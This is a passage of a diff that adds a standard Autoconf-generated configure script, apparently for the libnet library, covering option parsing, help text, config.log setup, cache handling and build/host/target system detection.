+ { echo "$as_me: error: invalid package name: $ac_package" >&2
+ { (exit 1); exit 1; }; }
+ ac_package=`echo $ac_package| sed 's/-/_/g'`
+ case $ac_option in
+ *=*) ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`;;
+ *) ac_optarg=yes ;;
+ esac
+ eval "with_$ac_package='$ac_optarg'" ;;
+
+ -without-* | --without-*)
+ ac_package=`expr "x$ac_option" : 'x-*without-\(.*\)'`
+ # Reject names that are not valid shell variable names.
+ expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+ { echo "$as_me: error: invalid package name: $ac_package" >&2
+ { (exit 1); exit 1; }; }
+ ac_package=`echo $ac_package | sed 's/-/_/g'`
+ eval "with_$ac_package=no" ;;
+
+ --x)
+ # Obsolete; use --with-x.
+ with_x=yes ;;
+
+ -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \
+ | --x-incl | --x-inc | --x-in | --x-i)
+ ac_prev=x_includes ;;
+ -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \
+ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*)
+ x_includes=$ac_optarg ;;
+
+ -x-libraries | --x-libraries | --x-librarie | --x-librari \
+ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l)
+ ac_prev=x_libraries ;;
+ -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \
+ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*)
+ x_libraries=$ac_optarg ;;
+
+ -*) { echo "$as_me: error: unrecognized option: $ac_option
+Try \`$0 --help' for more information." >&2
+ { (exit 1); exit 1; }; }
+ ;;
+
+ *=*)
+ ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='`
+ # Reject names that are not valid shell variable names.
+ expr "x$ac_envvar" : ".*[^_$as_cr_alnum]" >/dev/null &&
+ { echo "$as_me: error: invalid variable name: $ac_envvar" >&2
+ { (exit 1); exit 1; }; }
+ ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`
+ eval "$ac_envvar='$ac_optarg'"
+ export $ac_envvar ;;
+
+ *)
+ # FIXME: should be removed in autoconf 3.0.
+ echo "$as_me: WARNING: you should use --build, --host, --target" >&2
+ expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null &&
+ echo "$as_me: WARNING: invalid host type: $ac_option" >&2
+ : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option}
+ ;;
+
+ esac
+done
+
+if test -n "$ac_prev"; then
+ ac_option=--`echo $ac_prev | sed 's/_/-/g'`
+ { echo "$as_me: error: missing argument to $ac_option" >&2
+ { (exit 1); exit 1; }; }
+fi
+
+# Be sure to have absolute paths.
+for ac_var in exec_prefix prefix
+do
+ eval ac_val=$`echo $ac_var`
+ case $ac_val in
+ [\\/$]* | ?:[\\/]* | NONE | '' ) ;;
+ *) { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2
+ { (exit 1); exit 1; }; };;
+ esac
+done
+
+# Be sure to have absolute paths.
+for ac_var in bindir sbindir libexecdir datadir sysconfdir sharedstatedir \
+ localstatedir libdir includedir oldincludedir infodir mandir
+do
+ eval ac_val=$`echo $ac_var`
+ case $ac_val in
+ [\\/$]* | ?:[\\/]* ) ;;
+ *) { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2
+ { (exit 1); exit 1; }; };;
+ esac
+done
+
+# There might be people who depend on the old broken behavior: `$host'
+# used to hold the argument of --host etc.
+# FIXME: To remove some day.
+build=$build_alias
+host=$host_alias
+target=$target_alias
+
+# FIXME: To remove some day.
+if test "x$host_alias" != x; then
+ if test "x$build_alias" = x; then
+ cross_compiling=maybe
+ echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host.
+ If a cross compiler is detected then cross compile mode will be used." >&2
+ elif test "x$build_alias" != "x$host_alias"; then
+ cross_compiling=yes
+ fi
+fi
+
+ac_tool_prefix=
+test -n "$host_alias" && ac_tool_prefix=$host_alias-
+
+test "$silent" = yes && exec 6>/dev/null
+
+
+# Find the source files, if location was not specified.
+if test -z "$srcdir"; then
+ ac_srcdir_defaulted=yes
+ # Try the directory containing this script, then its parent.
+ ac_confdir=`(dirname "$0") 2>/dev/null ||
+$as_expr X"$0" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$0" : 'X\(//\)[^/]' \| \
+ X"$0" : 'X\(//\)$' \| \
+ X"$0" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$0" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ srcdir=$ac_confdir
+ if test ! -r $srcdir/$ac_unique_file; then
+ srcdir=..
+ fi
+else
+ ac_srcdir_defaulted=no
+fi
+if test ! -r $srcdir/$ac_unique_file; then
+ if test "$ac_srcdir_defaulted" = yes; then
+ { echo "$as_me: error: cannot find sources ($ac_unique_file) in $ac_confdir or .." >&2
+ { (exit 1); exit 1; }; }
+ else
+ { echo "$as_me: error: cannot find sources ($ac_unique_file) in $srcdir" >&2
+ { (exit 1); exit 1; }; }
+ fi
+fi
+(cd $srcdir && test -r ./$ac_unique_file) 2>/dev/null ||
+ { echo "$as_me: error: sources are in $srcdir, but \`cd $srcdir' does not work" >&2
+ { (exit 1); exit 1; }; }
+srcdir=`echo "$srcdir" | sed 's%\([^\\/]\)[\\/]*$%\1%'`
+ac_env_build_alias_set=${build_alias+set}
+ac_env_build_alias_value=$build_alias
+ac_cv_env_build_alias_set=${build_alias+set}
+ac_cv_env_build_alias_value=$build_alias
+ac_env_host_alias_set=${host_alias+set}
+ac_env_host_alias_value=$host_alias
+ac_cv_env_host_alias_set=${host_alias+set}
+ac_cv_env_host_alias_value=$host_alias
+ac_env_target_alias_set=${target_alias+set}
+ac_env_target_alias_value=$target_alias
+ac_cv_env_target_alias_set=${target_alias+set}
+ac_cv_env_target_alias_value=$target_alias
+ac_env_CC_set=${CC+set}
+ac_env_CC_value=$CC
+ac_cv_env_CC_set=${CC+set}
+ac_cv_env_CC_value=$CC
+ac_env_CFLAGS_set=${CFLAGS+set}
+ac_env_CFLAGS_value=$CFLAGS
+ac_cv_env_CFLAGS_set=${CFLAGS+set}
+ac_cv_env_CFLAGS_value=$CFLAGS
+ac_env_LDFLAGS_set=${LDFLAGS+set}
+ac_env_LDFLAGS_value=$LDFLAGS
+ac_cv_env_LDFLAGS_set=${LDFLAGS+set}
+ac_cv_env_LDFLAGS_value=$LDFLAGS
+ac_env_CPPFLAGS_set=${CPPFLAGS+set}
+ac_env_CPPFLAGS_value=$CPPFLAGS
+ac_cv_env_CPPFLAGS_set=${CPPFLAGS+set}
+ac_cv_env_CPPFLAGS_value=$CPPFLAGS
+ac_env_CPP_set=${CPP+set}
+ac_env_CPP_value=$CPP
+ac_cv_env_CPP_set=${CPP+set}
+ac_cv_env_CPP_value=$CPP
+
+#
+# Report the --help message.
+#
+if test "$ac_init_help" = "long"; then
+ # Omit some internal or obsolete options to make the list less imposing.
+ # This message is too long to be a string in the A/UX 3.1 sh.
+ cat <<_ACEOF
+\`configure' configures this package to adapt to many kinds of systems.
+
+Usage: $0 [OPTION]... [VAR=VALUE]...
+
+To assign environment variables (e.g., CC, CFLAGS...), specify them as
+VAR=VALUE. See below for descriptions of some of the useful variables.
+
+Defaults for the options are specified in brackets.
+
+Configuration:
+ -h, --help display this help and exit
+ --help=short display options specific to this package
+ --help=recursive display the short help of all the included packages
+ -V, --version display version information and exit
+ -q, --quiet, --silent do not print \`checking...' messages
+ --cache-file=FILE cache test results in FILE [disabled]
+ -C, --config-cache alias for \`--cache-file=config.cache'
+ -n, --no-create do not create output files
+ --srcdir=DIR find the sources in DIR [configure dir or \`..']
+
+_ACEOF
+
+ cat <<_ACEOF
+Installation directories:
+ --prefix=PREFIX install architecture-independent files in PREFIX
+ [$ac_default_prefix]
+ --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX
+ [PREFIX]
+
+By default, \`make install' will install all the files in
+\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify
+an installation prefix other than \`$ac_default_prefix' using \`--prefix',
+for instance \`--prefix=\$HOME'.
+
+For better control, use the options below.
+
+Fine tuning of the installation directories:
+ --bindir=DIR user executables [EPREFIX/bin]
+ --sbindir=DIR system admin executables [EPREFIX/sbin]
+ --libexecdir=DIR program executables [EPREFIX/libexec]
+ --datadir=DIR read-only architecture-independent data [PREFIX/share]
+ --sysconfdir=DIR read-only single-machine data [PREFIX/etc]
+ --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com]
+ --localstatedir=DIR modifiable single-machine data [PREFIX/var]
+ --libdir=DIR object code libraries [EPREFIX/lib]
+ --includedir=DIR C header files [PREFIX/include]
+ --oldincludedir=DIR C header files for non-gcc [/usr/include]
+ --infodir=DIR info documentation [PREFIX/info]
+ --mandir=DIR man documentation [PREFIX/man]
+_ACEOF
+
+ cat <<\_ACEOF
+
+Program names:
+ --program-prefix=PREFIX prepend PREFIX to installed program names
+ --program-suffix=SUFFIX append SUFFIX to installed program names
+ --program-transform-name=PROGRAM run sed PROGRAM on installed program names
+
+System types:
+ --build=BUILD configure for building on BUILD [guessed]
+ --host=HOST cross-compile to build programs to run on HOST [BUILD]
+ --target=TARGET configure for building compilers for TARGET [HOST]
+_ACEOF
+fi
+
+if test -n "$ac_init_help"; then
+
+ cat <<\_ACEOF
+
+Optional Features:
+ --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no)
+ --enable-FEATURE[=ARG] include FEATURE [ARG=yes]
+ --enable-maintainer-mode enable make rules and dependencies not useful
+ (and sometimes confusing) to the casual installer
+ --disable-dependency-tracking Speeds up one-time builds
+ --enable-dependency-tracking Do not reject slow dependency extractors
+
+Some influential environment variables:
+ CC C compiler command
+ CFLAGS C compiler flags
+ LDFLAGS linker flags, e.g. -L<lib dir> if you have libraries in a
+ nonstandard directory <lib dir>
+ CPPFLAGS C/C++ preprocessor flags, e.g. -I<include dir> if you have
+ headers in a nonstandard directory <include dir>
+ CPP C preprocessor
+
+Use these variables to override the choices made by `configure' or to help
+it to find libraries and programs with nonstandard names/locations.
+
+_ACEOF
+fi
+
+if test "$ac_init_help" = "recursive"; then
+ # If there are subdirs, report their specific --help.
+ ac_popdir=`pwd`
+ for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue
+ test -d $ac_dir || continue
+ ac_builddir=.
+
+if test "$ac_dir" != .; then
+ ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'`
+ # A "../" for each directory in $ac_dir_suffix.
+ ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'`
+else
+ ac_dir_suffix= ac_top_builddir=
+fi
+
+case $srcdir in
+ .) # No --srcdir option. We are building in place.
+ ac_srcdir=.
+ if test -z "$ac_top_builddir"; then
+ ac_top_srcdir=.
+ else
+ ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'`
+ fi ;;
+ [\\/]* | ?:[\\/]* ) # Absolute path.
+ ac_srcdir=$srcdir$ac_dir_suffix;
+ ac_top_srcdir=$srcdir ;;
+ *) # Relative path.
+ ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix
+ ac_top_srcdir=$ac_top_builddir$srcdir ;;
+esac
+# Don't blindly perform a `cd "$ac_dir"/$ac_foo && pwd` since $ac_foo can be
+# absolute.
+ac_abs_builddir=`cd "$ac_dir" && cd $ac_builddir && pwd`
+ac_abs_top_builddir=`cd "$ac_dir" && cd ${ac_top_builddir}. && pwd`
+ac_abs_srcdir=`cd "$ac_dir" && cd $ac_srcdir && pwd`
+ac_abs_top_srcdir=`cd "$ac_dir" && cd $ac_top_srcdir && pwd`
+
+ cd $ac_dir
+ # Check for guested configure; otherwise get Cygnus style configure.
+ if test -f $ac_srcdir/configure.gnu; then
+ echo
+ $SHELL $ac_srcdir/configure.gnu --help=recursive
+ elif test -f $ac_srcdir/configure; then
+ echo
+ $SHELL $ac_srcdir/configure --help=recursive
+ elif test -f $ac_srcdir/configure.ac ||
+ test -f $ac_srcdir/configure.in; then
+ echo
+ $ac_configure --help
+ else
+ echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2
+ fi
+ cd $ac_popdir
+ done
+fi
+
+test -n "$ac_init_help" && exit 0
+if $ac_init_version; then
+ cat <<\_ACEOF
+
+Copyright 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, 2002
+Free Software Foundation, Inc.
+This configure script is free software; the Free Software Foundation
+gives unlimited permission to copy, distribute and modify it.
+_ACEOF
+ exit 0
+fi
+exec 5>config.log
+cat >&5 <<_ACEOF
+This file contains any messages produced by compilers while
+running configure, to aid debugging if configure makes a mistake.
+
+It was created by $as_me, which was
+generated by GNU Autoconf 2.57. Invocation command line was
+
+ $ $0 $@
+
+_ACEOF
+{
+cat <<_ASUNAME
+@%:@@%:@ --------- @%:@@%:@
+@%:@@%:@ Platform. @%:@@%:@
+@%:@@%:@ --------- @%:@@%:@
+
+hostname = `(hostname || uname -n) 2>/dev/null | sed 1q`
+uname -m = `(uname -m) 2>/dev/null || echo unknown`
+uname -r = `(uname -r) 2>/dev/null || echo unknown`
+uname -s = `(uname -s) 2>/dev/null || echo unknown`
+uname -v = `(uname -v) 2>/dev/null || echo unknown`
+
+/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown`
+/bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown`
+
+/bin/arch = `(/bin/arch) 2>/dev/null || echo unknown`
+/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown`
+/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown`
+hostinfo = `(hostinfo) 2>/dev/null || echo unknown`
+/bin/machine = `(/bin/machine) 2>/dev/null || echo unknown`
+/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown`
+/bin/universe = `(/bin/universe) 2>/dev/null || echo unknown`
+
+_ASUNAME
+
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ echo "PATH: $as_dir"
+done
+
+} >&5
+
+cat >&5 <<_ACEOF
+
+
+@%:@@%:@ ----------- @%:@@%:@
+@%:@@%:@ Core tests. @%:@@%:@
+@%:@@%:@ ----------- @%:@@%:@
+
+_ACEOF
+
+
+# Keep a trace of the command line.
+# Strip out --no-create and --no-recursion so they do not pile up.
+# Strip out --silent because we don't want to record it for future runs.
+# Also quote any args containing shell meta-characters.
+# Make two passes to allow for proper duplicate-argument suppression.
+ac_configure_args=
+ac_configure_args0=
+ac_configure_args1=
+ac_sep=
+ac_must_keep_next=false
+for ac_pass in 1 2
+do
+ for ac_arg
+ do
+ case $ac_arg in
+ -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;;
+ -q | -quiet | --quiet | --quie | --qui | --qu | --q \
+ | -silent | --silent | --silen | --sile | --sil)
+ continue ;;
+ *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*)
+ ac_arg=`echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;;
+ esac
+ case $ac_pass in
+ 1) ac_configure_args0="$ac_configure_args0 '$ac_arg'" ;;
+ 2)
+ ac_configure_args1="$ac_configure_args1 '$ac_arg'"
+ if test $ac_must_keep_next = true; then
+ ac_must_keep_next=false # Got value, back to normal.
+ else
+ case $ac_arg in
+ *=* | --config-cache | -C | -disable-* | --disable-* \
+ | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \
+ | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \
+ | -with-* | --with-* | -without-* | --without-* | --x)
+ case "$ac_configure_args0 " in
+ "$ac_configure_args1"*" '$ac_arg' "* ) continue ;;
+ esac
+ ;;
+ -* ) ac_must_keep_next=true ;;
+ esac
+ fi
+ ac_configure_args="$ac_configure_args$ac_sep'$ac_arg'"
+ # Get rid of the leading space.
+ ac_sep=" "
+ ;;
+ esac
+ done
+done
+$as_unset ac_configure_args0 || test "${ac_configure_args0+set}" != set || { ac_configure_args0=; export ac_configure_args0; }
+$as_unset ac_configure_args1 || test "${ac_configure_args1+set}" != set || { ac_configure_args1=; export ac_configure_args1; }
+
+# When interrupted or exit'd, cleanup temporary files, and complete
+# config.log. We remove comments because anyway the quotes in there
+# would cause problems or look ugly.
+# WARNING: Be sure not to use single quotes in there, as some shells,
+# such as our DU 5.0 friend, will then `close' the trap.
+trap 'exit_status=$?
+ # Save into config.log some information that might help in debugging.
+ {
+ echo
+
+ cat <<\_ASBOX
+@%:@@%:@ ---------------- @%:@@%:@
+@%:@@%:@ Cache variables. @%:@@%:@
+@%:@@%:@ ---------------- @%:@@%:@
+_ASBOX
+ echo
+ # The following way of writing the cache mishandles newlines in values,
+{
+ (set) 2>&1 |
+ case `(ac_space='"'"' '"'"'; set | grep ac_space) 2>&1` in
+ *ac_space=\ *)
+ sed -n \
+ "s/'"'"'/'"'"'\\\\'"'"''"'"'/g;
+ s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='"'"'\\2'"'"'/p"
+ ;;
+ *)
+ sed -n \
+ "s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p"
+ ;;
+ esac;
+}
+ echo
+
+ cat <<\_ASBOX
+@%:@@%:@ ----------------- @%:@@%:@
+@%:@@%:@ Output variables. @%:@@%:@
+@%:@@%:@ ----------------- @%:@@%:@
+_ASBOX
+ echo
+ for ac_var in $ac_subst_vars
+ do
+ eval ac_val=$`echo $ac_var`
+ echo "$ac_var='"'"'$ac_val'"'"'"
+ done | sort
+ echo
+
+ if test -n "$ac_subst_files"; then
+ cat <<\_ASBOX
+@%:@@%:@ ------------- @%:@@%:@
+@%:@@%:@ Output files. @%:@@%:@
+@%:@@%:@ ------------- @%:@@%:@
+_ASBOX
+ echo
+ for ac_var in $ac_subst_files
+ do
+ eval ac_val=$`echo $ac_var`
+ echo "$ac_var='"'"'$ac_val'"'"'"
+ done | sort
+ echo
+ fi
+
+ if test -s confdefs.h; then
+ cat <<\_ASBOX
+@%:@@%:@ ----------- @%:@@%:@
+@%:@@%:@ confdefs.h. @%:@@%:@
+@%:@@%:@ ----------- @%:@@%:@
+_ASBOX
+ echo
+ sed "/^$/d" confdefs.h | sort
+ echo
+ fi
+ test "$ac_signal" != 0 &&
+ echo "$as_me: caught signal $ac_signal"
+ echo "$as_me: exit $exit_status"
+ } >&5
+ rm -f core core.* *.core &&
+ rm -rf conftest* confdefs* conf$$* $ac_clean_files &&
+ exit $exit_status
+ ' 0
+for ac_signal in 1 2 13 15; do
+ trap 'ac_signal='$ac_signal'; { (exit 1); exit 1; }' $ac_signal
+done
+ac_signal=0
+
+# confdefs.h avoids OS command line length limits that DEFS can exceed.
+rm -rf conftest* confdefs.h
+# AIX cpp loses on an empty file, so make sure it contains at least a newline.
+echo >confdefs.h
+
+# Predefined preprocessor variables.
+
+cat >>confdefs.h <<_ACEOF
+@%:@define PACKAGE_NAME "$PACKAGE_NAME"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+@%:@define PACKAGE_TARNAME "$PACKAGE_TARNAME"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+@%:@define PACKAGE_VERSION "$PACKAGE_VERSION"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+@%:@define PACKAGE_STRING "$PACKAGE_STRING"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+@%:@define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT"
+_ACEOF
+
+
+# Let the site file select an alternate cache file if it wants to.
+# Prefer explicitly selected file to automatically selected ones.
+if test -z "$CONFIG_SITE"; then
+ if test "x$prefix" != xNONE; then
+ CONFIG_SITE="$prefix/share/config.site $prefix/etc/config.site"
+ else
+ CONFIG_SITE="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site"
+ fi
+fi
+for ac_site_file in $CONFIG_SITE; do
+ if test -r "$ac_site_file"; then
+ { echo "$as_me:$LINENO: loading site script $ac_site_file" >&5
+echo "$as_me: loading site script $ac_site_file" >&6;}
+ sed 's/^/| /' "$ac_site_file" >&5
+ . "$ac_site_file"
+ fi
+done
+
+if test -r "$cache_file"; then
+ # Some versions of bash will fail to source /dev/null (special
+ # files actually), so we avoid doing that.
+ if test -f "$cache_file"; then
+ { echo "$as_me:$LINENO: loading cache $cache_file" >&5
+echo "$as_me: loading cache $cache_file" >&6;}
+ case $cache_file in
+ [\\/]* | ?:[\\/]* ) . $cache_file;;
+ *) . ./$cache_file;;
+ esac
+ fi
+else
+ { echo "$as_me:$LINENO: creating cache $cache_file" >&5
+echo "$as_me: creating cache $cache_file" >&6;}
+ >$cache_file
+fi
+
+# Check that the precious variables saved in the cache have kept the same
+# value.
+ac_cache_corrupted=false
+for ac_var in `(set) 2>&1 |
+ sed -n 's/^ac_env_\([a-zA-Z_0-9]*\)_set=.*/\1/p'`; do
+ eval ac_old_set=\$ac_cv_env_${ac_var}_set
+ eval ac_new_set=\$ac_env_${ac_var}_set
+ eval ac_old_val="\$ac_cv_env_${ac_var}_value"
+ eval ac_new_val="\$ac_env_${ac_var}_value"
+ case $ac_old_set,$ac_new_set in
+ set,)
+ { echo "$as_me:$LINENO: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5
+echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;}
+ ac_cache_corrupted=: ;;
+ ,set)
+ { echo "$as_me:$LINENO: error: \`$ac_var' was not set in the previous run" >&5
+echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;}
+ ac_cache_corrupted=: ;;
+ ,);;
+ *)
+ if test "x$ac_old_val" != "x$ac_new_val"; then
+ { echo "$as_me:$LINENO: error: \`$ac_var' has changed since the previous run:" >&5
+echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;}
+ { echo "$as_me:$LINENO: former value: $ac_old_val" >&5
+echo "$as_me: former value: $ac_old_val" >&2;}
+ { echo "$as_me:$LINENO: current value: $ac_new_val" >&5
+echo "$as_me: current value: $ac_new_val" >&2;}
+ ac_cache_corrupted=:
+ fi;;
+ esac
+ # Pass precious variables to config.status.
+ if test "$ac_new_set" = set; then
+ case $ac_new_val in
+ *" "*|*" "*|*[\[\]\~\#\$\^\&\*\(\)\{\}\\\|\;\<\>\?\"\']*)
+ ac_arg=$ac_var=`echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;;
+ *) ac_arg=$ac_var=$ac_new_val ;;
+ esac
+ case " $ac_configure_args " in
+ *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy.
+ *) ac_configure_args="$ac_configure_args '$ac_arg'" ;;
+ esac
+ fi
+done
+if $ac_cache_corrupted; then
+ { echo "$as_me:$LINENO: error: changes in the environment can compromise the build" >&5
+echo "$as_me: error: changes in the environment can compromise the build" >&2;}
+ { { echo "$as_me:$LINENO: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&5
+echo "$as_me: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+LIBNET_VERSION=`cat VERSION`
+echo "$as_me:$LINENO: result: beginning autoconfiguration process for libnet-$LIBNET_VERSION..." >&5
+echo "${ECHO_T}beginning autoconfiguration process for libnet-$LIBNET_VERSION..." >&6
+ac_aux_dir=
+for ac_dir in $srcdir $srcdir/.. $srcdir/../..; do
+ if test -f $ac_dir/install-sh; then
+ ac_aux_dir=$ac_dir
+ ac_install_sh="$ac_aux_dir/install-sh -c"
+ break
+ elif test -f $ac_dir/install.sh; then
+ ac_aux_dir=$ac_dir
+ ac_install_sh="$ac_aux_dir/install.sh -c"
+ break
+ elif test -f $ac_dir/shtool; then
+ ac_aux_dir=$ac_dir
+ ac_install_sh="$ac_aux_dir/shtool install -c"
+ break
+ fi
+done
+if test -z "$ac_aux_dir"; then
+ { { echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in $srcdir $srcdir/.. $srcdir/../.." >&5
+echo "$as_me: error: cannot find install-sh or install.sh in $srcdir $srcdir/.. $srcdir/../.." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+ac_config_guess="$SHELL $ac_aux_dir/config.guess"
+ac_config_sub="$SHELL $ac_aux_dir/config.sub"
+ac_configure="$SHELL $ac_aux_dir/configure" # This should be Cygnus configure.
+
+# Make sure we can run config.sub.
+$ac_config_sub sun4 >/dev/null 2>&1 ||
+ { { echo "$as_me:$LINENO: error: cannot run $ac_config_sub" >&5
+echo "$as_me: error: cannot run $ac_config_sub" >&2;}
+ { (exit 1); exit 1; }; }
+
+echo "$as_me:$LINENO: checking build system type" >&5
+echo $ECHO_N "checking build system type... $ECHO_C" >&6
+if test "${ac_cv_build+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_cv_build_alias=$build_alias
+test -z "$ac_cv_build_alias" &&
+ ac_cv_build_alias=`$ac_config_guess`
+test -z "$ac_cv_build_alias" &&
+ { { echo "$as_me:$LINENO: error: cannot guess build type; you must specify one" >&5
+echo "$as_me: error: cannot guess build type; you must specify one" >&2;}
+ { (exit 1); exit 1; }; }
+ac_cv_build=`$ac_config_sub $ac_cv_build_alias` ||
+ { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_build_alias failed" >&5
+echo "$as_me: error: $ac_config_sub $ac_cv_build_alias failed" >&2;}
+ { (exit 1); exit 1; }; }
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_build" >&5
+echo "${ECHO_T}$ac_cv_build" >&6
+build=$ac_cv_build
+build_cpu=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
+build_vendor=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
+build_os=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
+
+
+echo "$as_me:$LINENO: checking host system type" >&5
+echo $ECHO_N "checking host system type... $ECHO_C" >&6
+if test "${ac_cv_host+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_cv_host_alias=$host_alias
+test -z "$ac_cv_host_alias" &&
+ ac_cv_host_alias=$ac_cv_build_alias
+ac_cv_host=`$ac_config_sub $ac_cv_host_alias` ||
+ { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_host_alias failed" >&5
+echo "$as_me: error: $ac_config_sub $ac_cv_host_alias failed" >&2;}
+ { (exit 1); exit 1; }; }
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_host" >&5
+echo "${ECHO_T}$ac_cv_host" >&6
+host=$ac_cv_host
+host_cpu=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
+host_vendor=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
+host_os=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
+
+
+echo "$as_me:$LINENO: checking target system type" >&5
+echo $ECHO_N "checking target system type... $ECHO_C" >&6
+if test "${ac_cv_target+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_cv_target_alias=$target_alias
+test "x$ac_cv_target_alias" = "x" &&
+ ac_cv_target_alias=$ac_cv_host_alias
+ac_cv_target=`$ac_config_sub $ac_cv_target_alias` ||
+ { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_target_alias failed" >&5
+echo "$as_me: error: $ac_config_sub $ac_cv_target_alias failed" >&2;}
+ { (exit 1); exit 1; }; }
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_target" >&5
+echo "${ECHO_T}$ac_cv_target" >&6
+target=$ac_cv_target
+target_cpu=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
+target_vendor=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
+target_os=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
+
+
+# The aliases save the names the user supplied, while $host etc.
+# will get canonicalized.
+test -n "$target_alias" &&
+ test "$program_prefix$program_suffix$program_transform_name" = \
+ NONENONEs,x,x, &&
+ program_prefix=${target_alias}-
+
+am__api_version="1.6"
+# Find a good install program. We prefer a C program (faster),
+# so one script is as good as another. But avoid the broken or
+# incompatible versions:
+# SysV /etc/install, /usr/sbin/install
+# SunOS /usr/etc/install
+# IRIX /sbin/install
+# AIX /bin/install
+# AmigaOS /C/install, which installs bootblocks on floppy discs
+# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag
+# AFS /usr/afsws/bin/install, which mishandles nonexistent args
